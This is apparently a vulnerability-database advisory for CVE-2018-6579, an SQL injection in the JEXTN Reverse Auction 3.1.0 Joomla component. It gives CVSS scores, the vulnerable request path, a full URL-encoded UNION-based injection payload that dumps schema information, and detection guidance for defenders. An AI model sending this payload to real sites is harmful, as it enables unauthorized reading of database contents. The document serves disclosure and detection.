CVE-2018-6579

published 2018-02-02

CVE-2018-6579: SQL Injection exists in the JEXTN Reverse Auction 3.1.0 component for Joomla! via a view=products&uid= request.

Priority P2 66 critical 9.8 CVSS 3.0

AV N AC L PR N UI N S U C H I H A H

EXPLOIT

SQL Injection exists in the JEXTN Reverse Auction 3.1.0 component for Joomla! via a view=products&uid= request.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
jextn	reverse_auction	—	—

Detection & IOCs extracted from sources · hover to see the quote

url http://localhost/[PATH]/index.php?option=com_jereverseauction&view=products&layout=default_message&tmpl=component&id=[SQL]&uid=1↗

command %2d%31%20%20%2f%2a%21%30%38%38%38%38%55%4e%49%4f%4e%2a%2f%20%2f%2a%21%30%38%38%38%38%53%45%4c%45%43%54%2a%2f%20%30%78%33%31%2c%30%78%33%32%2c%30%78%33%33%2c%30%78%33%34%2c%30%78%33%35%2c%28%53%65%6c%65%63%74%20%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%40%3a%3d%30%2c%28%73%65%6c%65%63%74%20%63%6f%75%6e%74%28%2a%29%66%72%6f%6d%28%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73%29%77%68%65%72%65%40%3a%3d%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%40%2c%74%61%62%6c%65%5f%6e%61%6d%65%2c%30%78%33%63%36%63%36%39%33%65%2c%32%29%2c%63%6f%6c%75%6d%6e%5f%6e%61%6d%65%2c%30%78%61%33%61%2c%32%29%29%2c%40%2c%32%29%29%2d%2d%20%2d↗

• → Detect SQL injection attempts targeting the JEXTN Reverse Auction Joomla component by monitoring HTTP requests containing the query parameter combination `option=com_jereverseauction` with `view=products` and a manipulated `id` or `uid` parameter. ↗
• → Alert on requests to `index.php` with `option=com_jereverseauction` combined with `view=products`, `layout=default_message`, and `tmpl=component` — this is the exact attack surface path used in the proof-of-concept exploit. ↗
• → The URL-encoded PoC payload decodes to a UNION-based SQL injection using MySQL comment-obfuscated keywords (`/*!08888UNION*/`, `/*!08888SELECT*/`) and `export_set()` for data exfiltration from `information_schema.columns`. Detect percent-encoded SQL keywords in the `id` parameter of requests to `com_jereverseauction`. ↗

• · The exploit was tested against version 3.1.0 of the JEXTN Reverse Auction component only; other versions are not confirmed vulnerable by the source. ↗

CVSS provenance

nvd v3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvd v2.0 7.5 HIGH AV:N/AC:L/Au:N/C:P/I:P/A:P

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